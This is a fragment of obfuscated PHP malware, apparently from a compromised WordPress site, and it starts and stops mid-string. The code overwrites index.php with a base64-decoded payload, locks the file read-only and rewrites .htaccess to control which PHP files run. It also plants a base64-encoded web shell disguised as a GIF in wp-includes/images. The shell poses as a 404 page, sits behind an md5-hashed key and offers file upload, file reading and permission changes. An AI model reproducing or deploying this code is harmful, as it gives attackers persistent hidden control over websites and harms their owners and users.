kWEZHWk5bODVdLiRYRkdaTls4NV0uJFhGR1pOWzg1XS4kWEZHWk5bNjddKTtAJG9EeE1KKCJlSWFXdGRZWFJpMnRoalJmK21uWWcwUE14eFNEdXlFM25ZcnlQTlZYRkNZMVlrVnBIWHpkZWE1aWpITHV2QlVSdkVDV3JaZFVPMitGVTFrSHpQNlg1YUwyR290dUwyY1FNYlR4THJkZEMza0NWeHFDM08wODZHMk1vYVhRWDRiMFJSdDJNcWFaQXE1VXFlYnJFSW5xbnBBbTVjV3FIeWRtZ1FXM1RGQkRibG44WEY3WVZOcG92Y2tLbkwzdjFCU0tjaE1IY2g2aWMrWTYzNno0bGExN3h6QjNWVkx6eG9GcDhZN2VFVGFnUVpUc0JVWnFXZ0JLdEc5eS9pVGF4NDFpTStyZXdtdm44QkFsUmhOYm1DVHQ4b3I5bTA2UWhvVkU3VVZQZ2QyMUpINUppeE12YW9pbnlGV0dTMFhxaDc2bUppaXI5czcyTnkvdWlLd2UyOVlJMzVoaVc1VE1BL3I1NXQ3aFhqamhtMTlnSnhIbkduZFFsMjlBaHBkQzRySE0rKzVHNnpTdmZpbDdiSGlhdDUwVVA2NXRaZjlYUytqektQdHhLRVF6ZzhvaEwxM3JlWUU0OHc1UG1CKzVtWCtvckExdnk5RGQ1UkFkYTNxRUFLOTVtK0RrZzJER2NOQmNsUWpITDVvV2s3WDFHdFhXWjdFanVJMjJsU2pPTGNKRldKWUpiMHEvYkZNYngzWWJONy8zQjRBbXpWQ1RvL0tjQmdSOVZNZ1UrS01ySWVoUWFTVnNJMU5tZmVOYUluVjVRVFBWekNNZW1naWV6eitwTFI3THRLOHhQcEVOeWpSS2FJdjEyWnorNStDSXljRGhxVmJJeVY3VnI1ZGx4U0M3N3FzL3pnc1pWNlJjTWthdFkzL1g1RDAzbXJIa0kxbWwxOS83Zm9uei9qZzJvb1dXWUdGNTlFMEZXdUovRHVKY1JIcXhGSlpVZElkcE5LZ2ZKYnNINWpjOGNld2U5U1ExMlRyRHkzRXRERjRSRGEwMXFPak1yZUtQTjRUT005eDBGaUJrOGNMaW9wdVNXLy9LaWJWbkt6V2c3OEFFcmZyWEYyZXNZZ0xjbGpBVTRCVlZDSjlQL2tlNnBoM29FaDI3anQ1NHRjYXMvVW1TTkNNRHlBdkc3SXZyT1RDak1JU25kOGxHYlg4anI5UTJ5RzVqSlpRVGZUQ3dnRjg5WEdlWDF6Q3JKOS9oQ1JJNHBhRVdhVWFZU3BEVytxaHNRZ2NqYURUc21NK3Nvbi9YbkNZbmlHcS82Y0MyWnRMRHQ4Q1VjdjdnSHgrUjN5Y2gvV3pOMVRiL0l1M2N1T09yMHk2Tnp6L2hDQUo1WWg4TllRQ1dqWFk1QnY5Zm4wZHNIMXVZMUl5T0hFa3J4a1FUUnZUK2p0YmQyTmkvUTdNUkZIS2xLOWd2dVlTRlFFMkV5SUVNTUUyU0VxRmluVHlLQ3N6MG13RStzRFBta0JJUWxQS3hBOGtTU2ZhWHdPckVqM3FncFU5Y2oxSkxDc3ZKWUVJVGZBUFp3V0hsL0NpTHpVcGZWcFNFSkRSZW1BZlQ1Z1NzMUkrZ3hOYzJFbU5LWUxIVmViRThmUUtlZ0xJcTRxR2pEKzFmemE1Z29EQTJScjM3cDI4ZnkxeFJhT2hvNlRDQmk5dFhqWjkxSGNoN29mbGxCYURJeWlyRVY0eDBxenp6ZWkveEtJMHJ1Q3FUMUIvNVdvcHo1T282Y3g2dm9jM1ZGWGM0blMxK3VUTWJFQmhoVnBmT21oM2dqSE1RalJsU0JlM0JPMDl0MGZOZlJlZ2JwcFN5dE5obEFyaHMzRWN0Y0dZVUJiZnFuRExwZHRlRE4rTlU4VEVzL2ZKWTdqb1poV0VHZE0zcitqNm5wcVpOaUt5S3pVazV1ZTdkNTVMS29nbnZ3ZjVjNmpNcHVGK20rYjZXM2NlcE14azdhSkZZV1c1TlR1OHVVanFSbmo2NDVXa0E0aVZRaXBJT1FvdGFGc3hrLzRSVE1SUC9ISGtHczY0cDM0Qlc1dGRuKysxMkdnbXpRWnFQR0xkcXJzeHFaNXpRb1hiRVpmTlRGNVZPaGhiNjZDeGpaVGgrOW9Ud1pLUVovTkE4ZkN4andqWnVHYzdyNmpwekZKZ0ZVa1JzenVkWC9XWCtqNmJBb0Urb3BjdC8vNjltamxZRTFZWE1ybDV0UGlWM1MxL2UveFNDZ1lLR1Arb25PbVFLMy9IWUtiK3JxUVZUelpROFZiUE1sM2x3L0FKQ3JMQ3dnNXpZZ2N4QVRXOU1BcGtPMHpRbzRKOExGblRhWEJudXMyOGtOSDRoN2tDN2huSUtQNU9HTmlUb1NCaHEvOFVodTdlK3RiZkI5aDhuaTU5ZTZGbUJVM2k1Y3c4bjdoUTlkRTlQd0tnMUlrL2kzVUMwa1EzS0p5UXE4RnI5cGdaRHhOK0JueUtEOXdDME1hTmJvQ3JvRnNKdDUrOTZRaWx1QmhtZ1ZuODA3OUR6bllRaHdpRTJwVklrY3Q0M1RhVXhEMUhWZGhmdFozTlQ0UC8wK3JBaDFVWVllWFZrREovcjNrQnkvNzViRk44bXRCQzNycEJTcFkrWVArTmdHYlBNTkdjbE03ZDBlaU9zSkhVQ2NvOEtScjI5OVMwVVVIcjEzSXVoOUlsQ203OVJMaFl3bVBsSEp3dHRPeHp0WURIN2hCSjBCaHdKUHNFajFya2piT0lzcVBUcTAxTzMwT2xCRnhsNEFiVWZGWGVkOFNCVzhTQlNUTDRiVThDZjhLRlR2Wk83ZUo2MFVNWWJTeEMxNVVycnNySGtuRDA0dUkxS3Z1ZHE3aU5YNk82ZHNFWVpTUGNsWU53b29UbkVIZFJjYmVCVzVvUlh6T2VxNjUyb2dZKzBZMlpsNlZqRTFzMVdFdUJMRzFKQkZsQzNBc0ZycnVZSWVscklER1hkeE5rcDM4NU1nZFFuak5WOTFlbG1NKzk0bGlVS0FpN1hvOExwZGxGbTFSY2xXWGR1SkMrQy9McU1ZdkNUeG5ITXp3STJsZStDYjgvSkZtbXNkR1VIRDFTNUlIWDhXcDB4VEdRbGh3ZjhDRDhtcTUzVk9NMjlxQm5UdnJocEdHeGlzRWYweisyS3Y0cUxuUi9PNzJLMTJZZ0FZMWI3bGdVM3IyVXp5VFI1eWxwUzFETHpwT0swNnJmKzVPWExRcFB5YXg5YVlhUDVnSHg0QndzYnI4WWgvODhwLzVtd0oxa25vVUttK1pjc3E1ZnM3WFRQdmFESE04NTZ2U3dtWVovalJpV29VUGd3RUpzeGlxbksyR25qYnpEdDdNYzZBVHBweGsrWTZCcDMrVFM1ajEvUTZsNWJ0eFNUMGlZd3IzMFNNYnZxN3BtblBVYzQ0TkIvZVV1SC9nbXUrVU0yOVVQenBBUFNoQVNBQ29sdUFLMlBxRVV1em5EUGF1MDhFZUJzQTcrLzlqa2JSK0toUjQ1NitkcnFoSlNuODBrUDkxVjduMldYNDlJaDBNeFlHOWJpY2lnQW8rOGxjdGpwUGFmQlR4VUNBNytjUnIzcUZMM1lFYWZsUEp2andYQ2F1QTk2aXp1dzRKZkdnQkhlaWNmTEc2elVxNWE3WjZxN3NrQm9nM21SRlA5QlU1N2dMWUtJUzExZk5QcVhmVUhjZlMvTlF5UXFwa21rOHhXaG11YXJtbmE2SkFpbzgva1Z1UzMwcm5uTml5Z2FxZlpBNFdCa0Z3RkVzcGVBMXFNV2RFa094dWZoaVozS1BtcmpFdFE4RFJRWVFudSsrcGVpWlZOcVBlRUlpeDNxVnlrajY5K053L0hBVWw1NkIxUFpRd241SzZaVjhPVTU1MUptcmpPS3lMejdZUnN5Y1FtSFQ4Y3FNS1orVi9mL3NUckdZMkhldG1sM002cE9tc3B3U2s0ZGVaeTY0RWVkOFhsTyt5R3k5aWxRNnUwRzN0STY3M1NDNnBSOGtOQzdZYW5uaHFRYlpGeCt0TjVocXVQZG9tL3dTYXpsOW8vVlkvS2F6S0JPZzJnR08wMVQrcVZHMWROR0c4M01sakhRSVRwK2t3TldKdDZEYnlFK0JSaHdnbi9GalZVcTg3Y21TdmhRNEl6eTN1OUh1VS9XWjFMMFJYY0dDSzJYS2tlUWl2Z1ZYaURWdjhwWEY1L2kyZGgrZ2lzUjlyUW1VYVhqaHJsVWEyYVhhYTUxY3ZYUTZPYVdIdEdBdVNHVW4vUGNLQlh6K2xpMzllMExKSlRkSWJHbmlDSVlrOC9iejM3WFJhVk4vQjErWXcvN09lbStjSi8zemFvOXZDL053ajR6Qm1IbmRBK2ZyTGc1RVorWlBUdEI0Uk14MytCNDdGL0g1YnFhaGwyaTA3ejBJT09hbnl6a2ROaDZpMitDVWlhRTZhclhIK2VhK2lkZ0wvaThlbkNhR1RXbWptSzllZ1loSmovOHl0NmxBRzNVL3prS3I1emdleFEzd0tqTUcvbndpQnJwNUM2Z2RwVXVWYzVneS9WeEt4NWFobllrUlcrTGQvTy9id3lvaGVaeUt1SzA3NVFLN2xrNWJZdzgybk9hSkFtb1E5dDdYV3IzQjlOYUIrWVkrcVlxNyt1N3NpaGczN1h5enVib1d0Q0xnMmRsQnBjYy9tYUUzcDRsNExGdjJuMk5hM1JSM0JNVzBIU3dJYytwTjMyakcyQTZpaVE3NktmVjVWR2g5SlZiR1NyczVkL0VHc29DL3JWOGw0S2N1Q1NhajExekpsNnFFNm85SUVtNCtiM2hFL1poMmtieU5tVEtudTcwYnl1K2o5L1gxWmp2MC9NWksvNkFOVkIvejU1aXBCMjhuOCtVMTQvc3RSTmVXeVFpWTNPajExTG02M2NoZnBZWjdKbWtVcVJtR0pISStDb284a3hxcDlEZ3BoSjV2bS9hTit2TEcyZTRjTy9sOFFXaTgzVTg5Yy8vTnQ9PSIpOz8+PD9waHAgZGVmaW5lKCAnV1BfVVNFX1RIRU1FUycsIHRydWUgKTsgcmVxdWlyZSgnLi93cC1ibG9nLWhlYWRlci5waHAnKTs/Pg=="); $index_code = file_get_contents($do."index.php"); if(md5($index_code) != md5($open_cache_ruzhu_phpcode)) { @chmod($do."index.php", 0644); @file_put_contents($do."index.php", $open_cache_ruzhu_phpcode); @chmod($do."index.php", 0444); } $huan_yuan_htaccess = base64_decode("PEZpbGVzTWF0Y2ggJy4ocGhwfHBocDV8cGh0bWwpJCc+Ck9yZGVyIGFsbG93LGRlbnkKRGVueSBmcm9tIGFsbAo8L0ZpbGVzTWF0Y2g+CjxGaWxlc01hdGNoICdeKGluZGV4LnBocHxhdXRvX3Nlby5waHB8d3AtYmxvZy1oZWFkZXIucGhwfHdwLWNvbmZpZy1zYW1wbGUucGhwfHdwLWxpbmtzLW9wbWwucGhwfHdwLWxvZ2luLnBocHx3cC1zZXR0aW5ncy5waHB8d3AtdHJhY2tiYWNrLnBocHx3cC1hY3RpdmF0ZS5waHB8d3AtY29tbWVudHMtcG9zdC5waHB8d3AtY3Jvbi5waHB8d3AtbG9hZC5waHB8d3AtbWFpbC5waHB8d3Atc2lnbnVwLnBocHx4bWxycGMucGhwfGVkaXQtZm9ybS1hZHZhbmNlZC5waHB8bGluay1wYXJzZS1vcG1sLnBocHxtcy1zaXRlcy5waHB8b3B0aW9ucy13cml0aW5nLnBocHx0aGVtZXMucGhwfGFkbWluLWFqYXgucGhwfGVkaXQtZm9ybS1jb21tZW50LnBocHxsaW5rLnBocHxtcy10aGVtZXMucGhwfHBsdWdpbi1lZGl0b3IucGhwfGFkbWluLWZvb3Rlci5waHB8ZWRpdC1saW5rLWZvcm0ucGhwfGxvYWQtc2NyaXB0cy5waHB8bXMtdXBncmFkZS1uZXR3b3JrLnBocHxhZG1pbi1mdW5jdGlvbnMucGhwfGVkaXQucGhwfGxvYWQtc3R5bGVzLnBocHxtcy11c2Vycy5waHB8cGx1Z2lucy5waHB8YWRtaW4taGVhZGVyLnBocHxlZGl0LXRhZy1mb3JtLnBocHxtZWRpYS1uZXcucGhwfG15LXNpdGVzLnBocHxwb3N0LW5ldy5waHB8YWRtaW4ucGhwfGVkaXQtdGFncy5waHB8bWVkaWEucGhwfG5hdi1tZW51cy5waHB8cG9zdC5waHB8YWRtaW4tcG9zdC5waHB8ZXhwb3J0LnBocHxtZWRpYS11cGxvYWQucGhwfG5ldHdvcmsucGhwfHByZXNzLXRoaXMucGhwfHVwbG9hZC5waHB8YXN5bmMtdXBsb2FkLnBocHxtZW51LWhlYWRlci5waHB8b3B0aW9ucy1kaXNjdXNzaW9uLnBocHxwcml2YWN5LnBocHx1c2VyLWVkaXQucGhwfG1lbnUucGhwfG9wdGlvbnMtZ2VuZXJhbC5waHB8cHJvZmlsZS5waHB8dXNlci1uZXcucGhwfG1vZGVyYXRpb24ucGhwfG9wdGlvbnMtaGVhZC5waHB8cmV2aXNpb24ucGhwfHVzZXJzLnBocHxjdXN0b20tYmFja2dyb3VuZC5waHB8bXMtYWRtaW4ucGhwfG9wdGlvbnMtbWVkaWEucGhwfHNldHVwLWNvbmZpZy5waHB8d2lkZ2V0cy5waHB8Y3VzdG9tLWhlYWRlci5waHB8bXMtZGVsZXRlLXNpdGUucGhwfG9wdGlvbnMtcGVybWFsaW5rLnBocHx0ZXJtLnBocHxjdXN0b21pemUucGhwfGxpbmstYWRkLnBocHxtcy1lZGl0LnBocHxvcHRpb25zLnBocHxlZGl0LWNvbW1lbnRzLnBocHxsaW5rLW1hbmFnZXIucGhwfG1zLW9wdGlvbnMucGhwfG9wdGlvbnMtcmVhZGluZy5waHB8c3lzdGVtX2xvZy5waHApJCc+Ck9yZGVyIGFsbG93LGRlbnkKQWxsb3cgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8SWZNb2R1bGUgbW9kX3Jld3JpdGUuYz4KUmV3cml0ZUVuZ2luZSBPbgpSZXdyaXRlQmFzZSAvClJld3JpdGVSdWxlIF5pbmRleC5waHAkIC0gW0xdClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1mClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1kClJld3JpdGVSdWxlIC4gaW5kZXgucGhwIFtMXQo8L0lmTW9kdWxlPg=="); $yuan_htaccess = file_get_contents($do.".htaccess"); if(md5($yuan_htaccess) != md5($huan_yuan_htaccess)) { @chmod($do.".htaccess", 0644); @file_put_contents($do.".htaccess", $huan_yuan_htaccess); @chmod($do.".htaccess", 0444); } $jue_jiang_404_path = $do."wp-includes/images/xit-3x.gif"; if (!file_exists($jue_jiang_404_path)){ $jue_jiang_404 = "PD9waHANCmVycm9yX3JlcG9ydGluZygwKTsNCmRhdGVfZGVmYXVsdF90aW1lem9uZV9zZXQoJ1BSQycpOw0KDQokQVJSQVkgPSAkeydfR0VUJ31bJ0FSUkFZJ107DQokS0pNbiA9IHN0cl9yb3QxMygkQVJSQVkpOw0KJGNiSCA9IHBhY2soIlx4NDhceDJhIiwgJEtKTW4pOw0KJEV6YVUgPSBqc29uX2RlY29kZSgkY2JILCB0cnVlKTsNCmlmICgoJEV6YVVbMF0gLSB0aW1lKCkpID4gMCBhbmQgbWQ1KG1kNSgkRXphVVsyXSkpID09PSAiOWYzNDY2NWIwMDUyMzExZDViNmFkNmY4MjFkYzYyMjgiKSA6IC8vID09PT0NCi8vID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KDQogICAgZnVuY3Rpb24ganVlamlhbmdfcGVybXMoJGZpbGUpew0KICAgICAgICAkcGVybXMgPSBmaWxlcGVybXMoJGZpbGUpOw0KICAgICAgICBpZiAoKCRwZXJtcyAmIDB4QzAwMCkgPT0gMHhDMDAwKSB7Ly8gU29ja2V0DQogICAgICAgICAgICAkaW5mbyA9ICdzJzsNCiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweEEwMDApID09IDB4QTAwMCkgey8vIFN5bWJvbGljIExpbmsNCiAgICAgICAgICAgICRpbmZvID0gJ2wnOw0KICAgICAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4ODAwMCkgPT0gMHg4MDAwKSB7Ly8gUmVndWxhcg0KICAgICAgICAgICAgJGluZm8gPSAnLSc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHg2MDAwKSA9PSAweDYwMDApIHsvLyBCbG9jayBzcGVjaWFsDQogICAgICAgICAgICAkaW5mbyA9ICdiJzsNCiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDQwMDApID09IDB4NDAwMCkgey8vIERpcmVjdG9yeQ0KICAgICAgICAgICAgJGluZm8gPSAnZCc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHgyMDAwKSA9PSAweDIwMDApIHsvLyBDaGFyYWN0ZXIgc3BlY2lhbA0KICAgICAgICAgICAgJGluZm8gPSAnYyc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHgxMDAwKSA9PSAweDEwMDApIHsvLyBGSUZPIHBpcGUNCiAgICAgICAgICAgICRpbmZvID0gJ3AnOw0KICAgICAgICB9IGVsc2Ugey8vIFVua25vd24NCiAgICAgICAgICAgICRpbmZvID0gJ3UnOw0KICAgICAgICB9DQovLyBPd25lcg0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDEwMCkgPyAncicgOiAnLScpOw0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA4MCkgPyAndycgOiAnLScpOw0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA0MCkgPw0KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA4MDApID8gJ3MnIDogJ3gnICkgOg0KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7DQoNCi8vIEdyb3VwDQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDIwKSA/ICdyJyA6ICctJyk7DQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7DQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDA4KSA/DQogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6DQogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsNCg0KLy8gV29ybGQNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQpID8gJ3InIDogJy0nKTsNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDIpID8gJ3cnIDogJy0nKTsNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDEpID8NCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDoNCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICdUJyA6ICctJykpOw0KDQogICAgICAgIHJldHVybiAkaW5mbzsNCiAgICB9DQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KLyoqDQogKiDovazljJYgXCDkuLogLw0KICovDQpmdW5jdGlvbiBkaXJfcGF0aCgkcGF0aCkNCnsNCiAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHBhdGgpOw0KICAgIGlmIChzdWJzdHIoJHBhdGgsIC0xKSAhPSAnLycpICRwYXRoID0gJHBhdGggLiAnLyc7DQogICAgcmV0dXJuICRwYXRoOw0KfQ0KDQovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCg0KLyoqIOWPluW+l+ermeeCueagueebruW9lQ0KICogQHJldHVybiBhcnJheXxzdHJpbmd8c3RyaW5nW10NCiAqLw0KZnVuY3Rpb24gZG9jdW1lbnRfcm9vdCgpew0KDQogICAgJHBocF9zZWxmID0gZGlyX3BhdGgoJF9TRVJWRVJbIlBIUF9TRUxGIl0pOw0KICAgICRzY3JpcHRfZmlsZW5hbWUgPSBkaXJfcGF0aCgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pOw0KICAgIGlmIChlbXB0eSgkX1NFUlZFUlsiUEhQX1NFTEYiXSkgb3IgZW1wdHkoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKSl7DQogICAgICAgICRkbzEgPSBkaXJfcGF0aCgkX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdKTsNCiAgICAgICAgJGRvID0gcnRyaW0oJGRvMSwnLycpOw0KICAgIH1lbHNlew0KICAgICAgICAkZG8gPSBzdHJfcmVwbGFjZShzdHJfcmVwbGFjZSgiLy8iLCAiLyIsICRwaHBfc2VsZiksICIiLCBzdHJfcmVwbGFjZSgiXFxcXCIsICIvIiwgJHNjcmlwdF9maWxlbmFtZSkpOw0KICAgIH0NCiAgICByZXR1cm4gJGRvOw0KfQ0KJGRvY3VtZW50X3Jvb3QgPSBkb2N1bWVudF9yb290KCk7DQpkZWZpbmUoJ0RPQ1VNRU5UX1JPT1QnLCAkZG9jdW1lbnRfcm9vdCk7DQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQoNCg0KaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSl7DQogICAgZm9yZWFjaCgkX1BPU1QgYXMgJGtleT0+JHZhbHVlKXsNCiAgICAgICAgJF9QT1NUWyRrZXldID0gc3RyaXBzbGFzaGVzKCR2YWx1ZSk7DQogICAgfQ0KfQ0KDQokVmVyc2lvbiA9IGJhc2U2NF9kZWNvZGUoJzVweUE1WkNPNTVxRTVZQ1U1Ynk2Jyk7DQppZihpc3NldCgkX0dFVFsncGF0aCddKSl7DQogICAgJHBhdGggPSAkX0dFVFsncGF0aCddOw0KfWVsc2V7DQogICAgJHBhdGggPSBnZXRjd2QoKTsNCn0NCg0KDQplY2hvICc8IWRvY3R5cGUgaHRtbD4NCjxodG1sPg0KPGhlYWQ+DQo8dGl0bGU+JkVycm9yXzQwNCY8L3RpdGxlPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiLz4NCjwvaGVhZD4nOw0KPz4NCg0KICAgIDxjZW50ZXI+DQogICAgICAgIDxzdHlsZT4NCiAgICAgICAgICAgIGJvZHl7YmFja2dyb3VuZDojZTZlNmU2O2xpbmUtaGVpZ2h0OjE7Y29sb3I6IzAwMDtmb250LWZhbWlseTpDb21pYyBTYW5zIE1TO3dpZHRoOjYwJTttYXJnaW46MCBhdXRvO30NCiAgICAgICAgICAgIHRhYmxlLHRoLHRke2JvcmRlci1jb2xsYXBzZTpjb2xsYXBzZTtiYWNrZ3JvdW5kOnRyYW5zcGFyZW50O2ZvbnQtc2l6ZToxM3B4O30NCiAgICAgICAgICAgIGlucHV0LHRleHRhcmVhe30NCiAgICAgICAgICAgIC50YWJsZV9ob21lLC50aF9ob21lLC50ZF9ob21le2NvbG9yOmdyZXk7Ym9yZGVyOjFweCBzb2xpZCBncmV5O30NCiAgICAgICAgICAgIHRoe3BhZGRpbmc6MTBweDt9DQogICAgICAgICAgICAudGRfaG9tZXtwYWRkaW5nOjdweDt9DQogICAgICAgICAgICBhe2NvbG9yOiMwMDA7IHRleHQtZGVjb3JhdGlvbjpub25lO30NCiAgICAgICAgICAgIHRleHRhcmVhe3dpZHRoOjEwMCU7aGVpZ2h0OjQwMHB4O30NCiAgICAgICAgICAgICNjb250ZW50IHRyOmhvdmVye2JhY2tncm91bmQtY29sb3I6I2NlY2VjZTt0ZXh0LXNoYWRvdzowcHggMHB4IDEwcHggI2ZmZjtjb2xvcjojZmZmO30NCiAgICAgICAgICAgIC5kaCBheyBwYWRkaW5nLWxlZnQ6IDEwcHg7IHBhZGRpbmctcmlnaHQ6IDEwcHg7IGJvcmRlci1yaWdodDogMXB4IHNvbGlkICMwMDA7fQ0KICAgICAgICAgICAgLmRoIGE6aG92ZXJ7IGNvbG9yOiAjZjAwO30NCiAgICAgICAgPC9zdHlsZT4NCjw/cGhwDQplY2hvICc8L2hlYWQ+DQo8Ym9keT48Yj4NCjxIMT48Y2VudGVyPjxmb250IGNvbG9yPSJyZWQiPicuJFZlcnNpb24uJzwvZm9udD48L2NlbnRlcj48L2gxPg0KPHRhYmxlIHdpZHRoPSI3MDAiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIxIiBhbGlnbj0iY2VudGVyIj4NCg0KPHRyPjx0ZD4NCg0KPGZvbnQgPjxjZW50ZXI+Jy5waHBfdW5hbWUoKS4nPC9jZW50ZXI+PC9mb250Pjxicj4nOw0KaWYoaXNzZXQoJF9HRVRbJ3BhdGgnXSkpew0KICAgICRwYXRoID0gJF9HRVRbJ3BhdGgnXTsNCn1lbHNlew0KICAgICRwYXRoID0gZ2V0Y3dkKCk7DQp9DQokcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsJy8nLCRwYXRoKTsNCiRwYXRocyA9IGV4cGxvZGUoJy8nLCRwYXRoKTsNCg0KJGdlbl9saW5rX3VybCA9ICc8YSBzdHlsZT0iY29sb3I6IzAwNjZGRiIgaHJlZj0iP0FSUkFZPScuJEFSUkFZLicmcGF0aD0nLkRPQ1VNRU5UX1JPT1Q7DQokZ2VuX2xpbmtfdXJsIC49ICciPuagueebruW9lSDvvJogICAgPC9hPiZuYnNwOyc7DQplY2hvICRnZW5fbGlua191cmw7DQoNCmZvcmVhY2goJHBhdGhzIGFzICRpZD0+JHBhdCl7DQogICAgaWYoJHBhdCA9PSAnJyAmJiAkaWQgPT0gMCl7DQogICAgICAgICRhID0gdHJ1ZTsNCiAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9IzAwMD4NCjxhIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9LyI+LzwvYT4nOw0KICAgICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYoJHBhdCA9PSAnJykgY29udGludWU7DQogICAgZWNobyAnPGEgc3R5bGU9ImNvbG9yOiMwMDY2RkYiIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9JzsNCiAgICBmb3IoJGk9MDskaTw9JGlkOyRpKyspew0KICAgICAgICBlY2hvICIkcGF0aHNbJGldIjsNCiAgICAgICAgaWYoJGkgIT0gJGlkKSBlY2hvICIvIjsNCiAgICB9DQogICAgZWNobyAnIj4nLiRwYXQuJzwvYT4vJzsNCn0NCmVjaG8gJzwvZm9udD4NCjxicj48YnI+DQo8L3RkPjwvdHI+PHRyPjx0ZD48Y2VudGVyPic7DQoNCmlmKGlzc2V0KCRfRklMRVNbJ2ZpbGUnXSkpew0KICAgIGlmKGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCRwYXRoLicvJy4kX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpew0KICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuS4iuS8oOaIkOWKnyA6KTwvZm9udD48YnIgLz48YnIgLz4nOw0KICAgIH1lbHNlew0KICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7kuIrkvKDlpLHotKUgPC9mb250PjxiciAvPjxiciAvPic7DQogICAgfQ0KfQ0KZWNobyAnPC9jZW50ZXI+PGNlbnRlcj48Zm9ybSBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiPjxmb250IGNvbG9yPSJ3aGl0ZSI+PGlucHV0IHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2ZvbnQtZmFtaWx5OiBDb21pYyBTYW5zIE1TICIgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgLz4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSLkuIrkvKAiIC8+DQo8L2Zvcm0+PC9jZW50ZXI+DQo8L3RkPjwvdHI+JzsNCmlmKGlzc2V0KCRfR0VUWydmaWxlc3JjJ10pKXsNCiAgICBlY2hvICI8dHI+PHRkPjxjZW50ZXI+5b2T5YmN5paH5Lu2IDogIjsNCiAgICBlY2hvICRfR0VUWydmaWxlc3JjJ107DQogICAgZWNobyAnPC9jZW50ZXI+PC90cj48L3RkPjwvdGFibGU+PGJyIC8+JzsNCiAgICBlY2hvKCcgPHRleHRhcmVhIHN0eWxlPSJ3aWR0aDogMTAwJTtoZWlnaHQ6IDQwMHB4OyIgcmVhZG9ubHk+ICcuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkX0dFVFsnZmlsZXNyYyddKSkuJzwvdGV4dGFyZWE+Jyk7DQp9DQovL0VtcGV0eQ0KZWxzZWlmKGlzc2V0KCRfR0VUWydvcHRpb24nXSkgJiYgJF9HRVRbJ29wdCddICE9ICdkZWxldGUnKXsNCi8vIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nLiRfUE9TVFsncGF0aCddLic8YnIgLz48YnIgLz4nOw0KICAgIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nOw0KLy9DaG1vZA0KICAgIGlmKCRfR0VUWydvcHQnXSA9PSAnY2htb2QnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydwZXJtJ10pKXsNCiAgICAgICAgICAgICRuZXdfcGVybV9vID0gJF9QT1NUWydwZXJtJ107DQoNCiAgICAgICAgICAgIGlmKHN0cmxlbigkbmV3X3Blcm1fbyk8PTMpICRuZXdfcGVybV9vPXN0c